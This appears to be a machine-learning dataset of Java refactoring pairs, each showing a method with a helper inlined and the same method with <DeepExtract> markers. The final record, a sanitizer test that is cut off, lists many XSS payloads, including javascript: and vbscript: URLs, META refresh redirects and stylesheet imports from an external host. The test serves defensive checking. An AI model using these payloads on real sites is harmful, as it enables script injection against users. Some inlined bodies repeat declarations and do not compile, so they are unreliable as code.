final int boardHeight = mBoard.height * kLedSize;
int panningViewWidth = mCustomPanningView.getWidth();
mBoardScale = 1f / Math.min(1f, (panningViewWidth / (float) boardWidth) * 0.85f) + 0;
mBoardContentView.setScaleX(1f / mBoardScale);
mBoardContentView.setScaleY(1f / mBoardScale);
mRotationViewGroup.setRotation(0);
Log.d(TAG, "Initial scale: " + mBoardScale);
int offsetX = Math.max(0, (canvasViewWidth - boardWidth) / 2);
int offsetY = Math.max(0, (canvasViewHeight - boardHeight) / 2);
mCustomPanningView.scrollTo(offsetX, offsetY);
return true;
} | @Override
public boolean onDoubleTap(MotionEvent e) {
<DeepExtract>
final int kLedSize = (int) MetricsUtils.convertDpToPixel(this, kLedPixelSize);
final int canvasViewWidth = mBoardContentView.getWidth();
final int canvasViewHeight = mBoardContentView.getHeight();
final int boardWidth = mBoard.width * kLedSize;
final int boardHeight = mBoard.height * kLedSize;
int panningViewWidth = mCustomPanningView.getWidth();
mBoardScale = 1f / Math.min(1f, (panningViewWidth / (float) boardWidth) * 0.85f) + 0;
mBoardContentView.setScaleX(1f / mBoardScale);
mBoardContentView.setScaleY(1f / mBoardScale);
mRotationViewGroup.setRotation(0);
Log.d(TAG, "Initial scale: " + mBoardScale);
int offsetX = Math.max(0, (canvasViewWidth - boardWidth) / 2);
int offsetY = Math.max(0, (canvasViewHeight - boardHeight) / 2);
mCustomPanningView.scrollTo(offsetX, offsetY);
</DeepExtract>
return true;
} | Bluefruit_LE_Connect_Android | positive | 3,335 |
public static void playLoop(World worldObj, BlockPos pos) {
GeneratorSound sound = new GeneratorSound(loop, worldObj, pos);
stopSound(worldObj, pos);
Minecraft.getMinecraft().getSoundHandler().playSound(sound);
GlobalCoordinate g = new GlobalCoordinate(pos, worldObj.provider.getDimension());
sounds.put(g, sound);
} | public static void playLoop(World worldObj, BlockPos pos) {
<DeepExtract>
GeneratorSound sound = new GeneratorSound(loop, worldObj, pos);
stopSound(worldObj, pos);
Minecraft.getMinecraft().getSoundHandler().playSound(sound);
GlobalCoordinate g = new GlobalCoordinate(pos, worldObj.provider.getDimension());
sounds.put(g, sound);
</DeepExtract>
} | DeepResonance | positive | 3,336 |
@Override
public void postRead(Site site) {
Map<String, ?> collectionsMap = site.getConfig().get("collections");
if (collectionsMap == null) {
log.warn("No collections defined, skip processing.");
return;
}
for (Map.Entry<String, ?> configEntry : collectionsMap.entrySet()) {
String collectionName = configEntry.getKey();
Map<String, ?> collectionConfiguration = (Map<String, ?>) configEntry.getValue();
createCollection(site, collectionName, collectionConfiguration);
}
} | @Override
public void postRead(Site site) {
<DeepExtract>
Map<String, ?> collectionsMap = site.getConfig().get("collections");
if (collectionsMap == null) {
log.warn("No collections defined, skip processing.");
return;
}
for (Map.Entry<String, ?> configEntry : collectionsMap.entrySet()) {
String collectionName = configEntry.getKey();
Map<String, ?> collectionConfiguration = (Map<String, ?>) configEntry.getValue();
createCollection(site, collectionName, collectionConfiguration);
}
</DeepExtract>
} | opoopress | positive | 3,337 |
@Override
public Future<Long> bitcount(byte[] key, long startInclusive, long endInclusive) {
return execCmd(objectConverter, encode(channel.alloc(), longConverter, encode(channel.alloc(), BITCOUNT.raw, toBytes(startInclusive), toBytes(endInclusive))));
} | @Override
public Future<Long> bitcount(byte[] key, long startInclusive, long endInclusive) {
<DeepExtract>
return execCmd(objectConverter, encode(channel.alloc(), longConverter, encode(channel.alloc(), BITCOUNT.raw, toBytes(startInclusive), toBytes(endInclusive))));
</DeepExtract>
} | nedis | positive | 3,338 |
@Test
public void serviceBaseROMOverridedClassLevelNoMethodOverride() {
int nbExpectedRetries = 4;
int expectedNbCalls = nbExpectedRetries + 1;
try {
serviceBaseROMOverridedClassLevelNoMethodOverride.service();
Assert.fail(String.format("in %s#%s service() should have failed", RetryVisibilityTest.class.getSimpleName(), "serviceBaseROMOverridedClassLevelNoMethodOverride"));
} catch (IOException re) {
Assert.assertEquals(serviceBaseROMOverridedClassLevelNoMethodOverride.getNumberOfServiceCalls(), expectedNbCalls, String.format("in %s#%s service() should have been called exactly %d times", RetryVisibilityTest.class.getSimpleName(), "serviceBaseROMOverridedClassLevelNoMethodOverride", expectedNbCalls));
} catch (RuntimeException ex) {
Assert.fail(String.format("no %s exception should have been thrown in %s#%s", ex.getClass().getName(), RetryVisibilityTest.class.getSimpleName(), "serviceBaseROMOverridedClassLevelNoMethodOverride"));
}
} | @Test
public void serviceBaseROMOverridedClassLevelNoMethodOverride() {
int nbExpectedRetries = 4;
<DeepExtract>
int expectedNbCalls = nbExpectedRetries + 1;
try {
serviceBaseROMOverridedClassLevelNoMethodOverride.service();
Assert.fail(String.format("in %s#%s service() should have failed", RetryVisibilityTest.class.getSimpleName(), "serviceBaseROMOverridedClassLevelNoMethodOverride"));
} catch (IOException re) {
Assert.assertEquals(serviceBaseROMOverridedClassLevelNoMethodOverride.getNumberOfServiceCalls(), expectedNbCalls, String.format("in %s#%s service() should have been called exactly %d times", RetryVisibilityTest.class.getSimpleName(), "serviceBaseROMOverridedClassLevelNoMethodOverride", expectedNbCalls));
} catch (RuntimeException ex) {
Assert.fail(String.format("no %s exception should have been thrown in %s#%s", ex.getClass().getName(), RetryVisibilityTest.class.getSimpleName(), "serviceBaseROMOverridedClassLevelNoMethodOverride"));
}
</DeepExtract>
} | microprofile-fault-tolerance | positive | 3,339 |
@Override
protected void setImpl(double interpolant) {
if (this.viewController.isSceneContained(this.view))
return;
Vec4[] lookAtPoints = this.viewController.computeViewLookAtForScene(this.view);
if (lookAtPoints == null || lookAtPoints.length != 3)
return;
this.centerPosition = this.viewController.computePositionFromPoint(lookAtPoints[1]);
this.zoom = lookAtPoints[0].distanceTo3(lookAtPoints[1]);
if (this.zoom < view.getZoom())
this.zoom = view.getZoom();
this.haveTargets = true;
if (!this.haveTargets) {
this.stop();
return;
}
if (this.valuesMeetCriteria(this.centerPosition, this.zoom)) {
this.view.setCenterPosition(this.centerPosition);
this.view.setZoom(this.zoom);
this.stop();
} else {
Position newCenterPos = Position.interpolateGreatCircle(interpolant, this.view.getCenterPosition(), this.centerPosition);
double newZoom = WWMath.mix(interpolant, this.view.getZoom(), this.zoom);
this.view.setCenterPosition(newCenterPos);
this.view.setZoom(newZoom);
}
this.view.firePropertyChange(AVKey.VIEW, null, this);
} | @Override
protected void setImpl(double interpolant) {
<DeepExtract>
if (this.viewController.isSceneContained(this.view))
return;
Vec4[] lookAtPoints = this.viewController.computeViewLookAtForScene(this.view);
if (lookAtPoints == null || lookAtPoints.length != 3)
return;
this.centerPosition = this.viewController.computePositionFromPoint(lookAtPoints[1]);
this.zoom = lookAtPoints[0].distanceTo3(lookAtPoints[1]);
if (this.zoom < view.getZoom())
this.zoom = view.getZoom();
this.haveTargets = true;
</DeepExtract>
if (!this.haveTargets) {
this.stop();
return;
}
if (this.valuesMeetCriteria(this.centerPosition, this.zoom)) {
this.view.setCenterPosition(this.centerPosition);
this.view.setZoom(this.zoom);
this.stop();
} else {
Position newCenterPos = Position.interpolateGreatCircle(interpolant, this.view.getCenterPosition(), this.centerPosition);
double newZoom = WWMath.mix(interpolant, this.view.getZoom(), this.zoom);
this.view.setCenterPosition(newCenterPos);
this.view.setZoom(newZoom);
}
this.view.firePropertyChange(AVKey.VIEW, null, this);
} | sdt | positive | 3,340 |
public Fenix andNotStartsWith(String field, Object value) {
if (true) {
this.source.setPrefix(SymbolConst.AND).setSymbol(false ? SymbolConst.LIKE : SymbolConst.NOT_LIKE).setOthers(startMap);
new JavaSqlInfoBuilder(this.source).buildLikeSql(field, StringHelper.isBlank(null) ? StringHelper.fixDot(field) : null, value);
this.source.reset();
}
return this;
} | public Fenix andNotStartsWith(String field, Object value) {
<DeepExtract>
if (true) {
this.source.setPrefix(SymbolConst.AND).setSymbol(false ? SymbolConst.LIKE : SymbolConst.NOT_LIKE).setOthers(startMap);
new JavaSqlInfoBuilder(this.source).buildLikeSql(field, StringHelper.isBlank(null) ? StringHelper.fixDot(field) : null, value);
this.source.reset();
}
return this;
</DeepExtract>
} | fenix | positive | 3,341 |
@Override
public void onAuthorizationCompletion(final AuthorizationResult result) {
findViewById(R.id.kakao_login_activity_progress_bar).setVisibility(View.GONE);
if (result.isAuthorizationCodeRequest()) {
getterAuthorizationCode = null;
Session.getCurrentSession().onAuthCodeCompleted(result);
} else if (result.isAccessTokenRequest()) {
getterAccessToken = null;
Session.getCurrentSession().onAccessTokenCompleted(result);
}
runOnUiThread(new Runnable() {
@Override
public void run() {
finish();
}
});
} | @Override
public void onAuthorizationCompletion(final AuthorizationResult result) {
<DeepExtract>
findViewById(R.id.kakao_login_activity_progress_bar).setVisibility(View.GONE);
</DeepExtract>
if (result.isAuthorizationCodeRequest()) {
getterAuthorizationCode = null;
Session.getCurrentSession().onAuthCodeCompleted(result);
} else if (result.isAccessTokenRequest()) {
getterAccessToken = null;
Session.getCurrentSession().onAccessTokenCompleted(result);
}
runOnUiThread(new Runnable() {
@Override
public void run() {
finish();
}
});
} | kakao-android-sdk-standalone | positive | 3,342 |
public Criteria andOrderNumLike(String value) {
if (value == null) {
throw new RuntimeException("Value for " + "orderNum" + " cannot be null");
}
criteria.add(new Criterion("order_num like", value));
return (Criteria) this;
} | public Criteria andOrderNumLike(String value) {
<DeepExtract>
if (value == null) {
throw new RuntimeException("Value for " + "orderNum" + " cannot be null");
}
criteria.add(new Criterion("order_num like", value));
</DeepExtract>
return (Criteria) this;
} | miaosha | positive | 3,343 |
@Override
public long nextLong() {
long out;
lock.lock();
try {
out = super.nextLong();
} finally {
lock.unlock();
}
if (entropyBits.addAndGet(-Long.SIZE) <= 0) {
asyncReseedIfPossible();
}
return out;
} | @Override
public long nextLong() {
long out;
lock.lock();
try {
out = super.nextLong();
} finally {
lock.unlock();
}
<DeepExtract>
if (entropyBits.addAndGet(-Long.SIZE) <= 0) {
asyncReseedIfPossible();
}
</DeepExtract>
return out;
} | BetterRandom | positive | 3,344 |
@SuppressWarnings("ConstantConditions")
@Override
public void storeSnapshot(ExtendedSnapshotWriter snapshotWriter) throws StorageException {
checkState(initialized, "store not initialized");
checkArgument(snapshotWriter instanceof SnapshotFileWriter, "unknown snapshot request type:%s", snapshotWriter.getClass().getSimpleName());
final SnapshotFileWriter snapshotFileWriter = (SnapshotFileWriter) snapshotWriter;
checkArgument(snapshotFileWriter.snapshotStarted(), "snapshot was never started");
try {
snapshotFileWriter.getSnapshotOutputStream().close();
long snapshotTimestamp = System.currentTimeMillis();
String snapshotFilename = String.format("%d-%s.snap", snapshotTimestamp, UUID.randomUUID().toString());
File snapshotFile = new File(snapshotsDirectory, snapshotFilename);
File tempSnapshotFile = snapshotFileWriter.getSnapshotFile();
Files.move(tempSnapshotFile.toPath(), snapshotFile.toPath(), StandardCopyOption.ATOMIC_MOVE);
final SnapshotMetadata metadata = new SnapshotMetadata(snapshotFilename, snapshotTimestamp, snapshotFileWriter.getTerm(), snapshotFileWriter.getIndex());
dbi.withHandle(new HandleCallback<Void>() {
@Override
public Void withHandle(Handle handle) throws Exception {
SnapshotsDAO dao = handle.attach(SnapshotsDAO.class);
dao.addSnapshot(metadata);
return null;
}
});
} catch (IOException e) {
throw new StorageException("fail finalize snapshot file req:" + snapshotFileWriter, e);
} catch (CallbackFailedException e) {
throw new StorageException("fail store snapshot metadata req:" + snapshotFileWriter, e.getCause());
} catch (Exception e) {
throw new StorageException("fail store snapshot req:" + snapshotFileWriter, e);
}
} | @SuppressWarnings("ConstantConditions")
@Override
public void storeSnapshot(ExtendedSnapshotWriter snapshotWriter) throws StorageException {
<DeepExtract>
checkState(initialized, "store not initialized");
</DeepExtract>
checkArgument(snapshotWriter instanceof SnapshotFileWriter, "unknown snapshot request type:%s", snapshotWriter.getClass().getSimpleName());
final SnapshotFileWriter snapshotFileWriter = (SnapshotFileWriter) snapshotWriter;
checkArgument(snapshotFileWriter.snapshotStarted(), "snapshot was never started");
try {
snapshotFileWriter.getSnapshotOutputStream().close();
long snapshotTimestamp = System.currentTimeMillis();
String snapshotFilename = String.format("%d-%s.snap", snapshotTimestamp, UUID.randomUUID().toString());
File snapshotFile = new File(snapshotsDirectory, snapshotFilename);
File tempSnapshotFile = snapshotFileWriter.getSnapshotFile();
Files.move(tempSnapshotFile.toPath(), snapshotFile.toPath(), StandardCopyOption.ATOMIC_MOVE);
final SnapshotMetadata metadata = new SnapshotMetadata(snapshotFilename, snapshotTimestamp, snapshotFileWriter.getTerm(), snapshotFileWriter.getIndex());
dbi.withHandle(new HandleCallback<Void>() {
@Override
public Void withHandle(Handle handle) throws Exception {
SnapshotsDAO dao = handle.attach(SnapshotsDAO.class);
dao.addSnapshot(metadata);
return null;
}
});
} catch (IOException e) {
throw new StorageException("fail finalize snapshot file req:" + snapshotFileWriter, e);
} catch (CallbackFailedException e) {
throw new StorageException("fail store snapshot metadata req:" + snapshotFileWriter, e.getCause());
} catch (Exception e) {
throw new StorageException("fail store snapshot req:" + snapshotFileWriter, e);
}
} | libraft | positive | 3,345 |
@Override
public void visit(Division arg0) {
Label firstNull = new Label();
Label secondNull = new Label();
Label theEnd = new Label();
arg0.getLeftExpression().accept(this);
evaluationVisitor.visitJumpInsn(Opcodes.IFEQ, firstNull);
arg0.getRightExpression().accept(this);
evaluationVisitor.visitJumpInsn(Opcodes.IFEQ, secondNull);
JavaType jType = jType(arg0.getLeftExpression());
if (!treatAsMonthArithmetic(arg0)) {
switch(jType) {
case INT:
evaluationVisitor.visitInsn(Opcodes.IDIV);
break;
case LONG:
evaluationVisitor.visitInsn(Opcodes.LDIV);
break;
case DOUBLE:
evaluationVisitor.visitInsn(Opcodes.DDIV);
break;
default:
System.err.println("Warning: unsupported types in " + "division");
}
}
evaluationVisitor.visitIntInsn(Opcodes.BIPUSH, 1);
evaluationVisitor.visitJumpInsn(Opcodes.GOTO, theEnd);
evaluationVisitor.visitLabel(secondNull);
smartPop(jType);
evaluationVisitor.visitLabel(firstNull);
evaluationVisitor.visitIntInsn(Opcodes.BIPUSH, 0);
evaluationVisitor.visitLabel(theEnd);
} | @Override
public void visit(Division arg0) {
<DeepExtract>
Label firstNull = new Label();
Label secondNull = new Label();
Label theEnd = new Label();
arg0.getLeftExpression().accept(this);
evaluationVisitor.visitJumpInsn(Opcodes.IFEQ, firstNull);
arg0.getRightExpression().accept(this);
evaluationVisitor.visitJumpInsn(Opcodes.IFEQ, secondNull);
JavaType jType = jType(arg0.getLeftExpression());
if (!treatAsMonthArithmetic(arg0)) {
switch(jType) {
case INT:
evaluationVisitor.visitInsn(Opcodes.IDIV);
break;
case LONG:
evaluationVisitor.visitInsn(Opcodes.LDIV);
break;
case DOUBLE:
evaluationVisitor.visitInsn(Opcodes.DDIV);
break;
default:
System.err.println("Warning: unsupported types in " + "division");
}
}
evaluationVisitor.visitIntInsn(Opcodes.BIPUSH, 1);
evaluationVisitor.visitJumpInsn(Opcodes.GOTO, theEnd);
evaluationVisitor.visitLabel(secondNull);
smartPop(jType);
evaluationVisitor.visitLabel(firstNull);
evaluationVisitor.visitIntInsn(Opcodes.BIPUSH, 0);
evaluationVisitor.visitLabel(theEnd);
</DeepExtract>
} | skinnerdb | positive | 3,346 |
public static void main10A() {
Graph gph = new Graph(6);
addUndirectedEdge(0, 1, 1);
addUndirectedEdge(1, 2, 1);
addUndirectedEdge(3, 4, 1);
addUndirectedEdge(4, 2, 1);
addUndirectedEdge(2, 5, 1);
System.out.println("isConnectedUndirected:: " + gph.isConnectedUndirected());
} | public static void main10A() {
Graph gph = new Graph(6);
addUndirectedEdge(0, 1, 1);
addUndirectedEdge(1, 2, 1);
addUndirectedEdge(3, 4, 1);
addUndirectedEdge(4, 2, 1);
<DeepExtract>
addUndirectedEdge(2, 5, 1);
</DeepExtract>
System.out.println("isConnectedUndirected:: " + gph.isConnectedUndirected());
} | Problem-Solving-in-Data-Structures-Algorithms-using-Java | positive | 3,347 |
public Criteria andOptUserNotIn(List<String> values) {
if (values == null) {
throw new RuntimeException("Value for " + "optUser" + " cannot be null");
}
criteria.add(new Criterion("opt_user not in", values));
return (Criteria) this;
} | public Criteria andOptUserNotIn(List<String> values) {
<DeepExtract>
if (values == null) {
throw new RuntimeException("Value for " + "optUser" + " cannot be null");
}
criteria.add(new Criterion("opt_user not in", values));
</DeepExtract>
return (Criteria) this;
} | lightconf | positive | 3,348 |
public AccountBuilder addEmail(String email) {
AcmeUtils.validateContact("mailto:" + email);
contacts.add("mailto:" + email);
return this;
return this;
} | public AccountBuilder addEmail(String email) {
<DeepExtract>
AcmeUtils.validateContact("mailto:" + email);
contacts.add("mailto:" + email);
return this;
</DeepExtract>
return this;
} | acme4j | positive | 3,349 |
public static void testHrefAttacks() {
String sanitized = sanitize("<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("href"));
assertEquals("`" + sanitized + "` from `" + "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">" + "` contains `" + "href" + "`", -1, index);
String sanitized = sanitize("<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("href"));
assertEquals("`" + sanitized + "` from `" + "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">" + "` contains `" + "href" + "`", -1, index);
String sanitized = sanitize("<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("href"));
assertEquals("`" + sanitized + "` from `" + "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">" + "` contains `" + "href" + "`", -1, index);
String sanitized = sanitize("<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("href"));
assertEquals("`" + sanitized + "` from `" + "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">" + "` contains `" + "href" + "`", -1, index);
String sanitized = sanitize("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ha.ckers.org"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>" + "` contains `" + "ha.ckers.org" + "`", -1, index);
String sanitized = sanitize("<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ha.ckers.org"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>" + "` contains `" + "ha.ckers.org" + "`", -1, index);
String sanitized = sanitize("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ha.ckers.org"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" + "` contains `" + "ha.ckers.org" + "`", -1, index);
String sanitized = sanitize("<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ha.ckers.org"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" + "` contains `" + "ha.ckers.org" + "`", -1, index);
String sanitized = sanitize("<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<IMG SRC='vbscript:msgbox(\"XSS\")'>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("vbscript"));
assertEquals("`" + sanitized + "` from `" + "<IMG SRC='vbscript:msgbox(\"XSS\")'>" + "` contains `" + "vbscript" + "`", -1, index);
String sanitized = sanitize("<IMG SRC='vbscript:msgbox(\"XSS\")'>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("vbscript"));
assertEquals("`" + sanitized + "` from `" + "<IMG SRC='vbscript:msgbox(\"XSS\")'>" + "` contains `" + "vbscript" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<meta"));
assertEquals("`" + sanitized + "` from `" + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">" + "` contains `" + "<meta" + "`", -1, index);
String sanitized = sanitize("<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("iframe"));
assertEquals("`" + sanitized + "` from `" + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>" + "` contains `" + "iframe" + "`", -1, index);
String sanitized = sanitize("<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("iframe"));
assertEquals("`" + sanitized + "` from `" + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>" + "` contains `" + "iframe" + "`", -1, index);
String sanitized = sanitize("<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<TABLE BACKGROUND=\"javascript:alert('XSS')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("background"));
assertEquals("`" + sanitized + "` from `" + "<TABLE BACKGROUND=\"javascript:alert('XSS')\">" + "` contains `" + "background" + "`", -1, index);
String sanitized = sanitize("<TABLE BACKGROUND=\"javascript:alert('XSS')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("background"));
assertEquals("`" + sanitized + "` from `" + "<TABLE BACKGROUND=\"javascript:alert('XSS')\">" + "` contains `" + "background" + "`", -1, index);
String sanitized = sanitize("<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("background"));
assertEquals("`" + sanitized + "` from `" + "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">" + "` contains `" + "background" + "`", -1, index);
String sanitized = sanitize("<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("background"));
assertEquals("`" + sanitized + "` from `" + "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">" + "` contains `" + "background" + "`", -1, index);
String sanitized = sanitize("<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<DIV STYLE=\"width: expression(alert('XSS'));\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("alert"));
assertEquals("`" + sanitized + "` from `" + "<DIV STYLE=\"width: expression(alert('XSS'));\">" + "` contains `" + "alert" + "`", -1, index);
String sanitized = sanitize("<DIV STYLE=\"width: expression(alert('XSS'));\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("alert"));
assertEquals("`" + sanitized + "` from `" + "<DIV STYLE=\"width: expression(alert('XSS'));\">" + "` contains `" + "alert" + "`", -1, index);
String sanitized = sanitize("<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("alert"));
assertEquals("`" + sanitized + "` from `" + "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">" + "` contains `" + "alert" + "`", -1, index);
String sanitized = sanitize("<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("alert"));
assertEquals("`" + sanitized + "` from `" + "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">" + "` contains `" + "alert" + "`", -1, index);
String sanitized = sanitize("<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ript:alert"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>" + "` contains `" + "ript:alert" + "`", -1, index);
String sanitized = sanitize("<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("ript:alert"));
assertEquals("`" + sanitized + "` from `" + "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>" + "` contains `" + "ript:alert" + "`", -1, index);
String sanitized = sanitize("<BASE HREF=\"javascript:alert('XSS');//\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<BASE HREF=\"javascript:alert('XSS');//\">" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<BASE HREF=\"javascript:alert('XSS');//\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("javascript"));
assertEquals("`" + sanitized + "` from `" + "<BASE HREF=\"javascript:alert('XSS');//\">" + "` contains `" + "javascript" + "`", -1, index);
String sanitized = sanitize("<BaSe hReF=\"http://arbitrary.com/\">");
int index = Strings.toLowerCase(sanitized).indexOf(Strings.toLowerCase("<base"));
assertEquals("`" + sanitized + "` from `" + "<BaSe hReF=\"http://arbitrary.com/\">" + "` contains `" + "<base" + "`", -1, index);
String sanitized = sanitize("<BaSe hReF=\"http://arbitrary.com/\">");
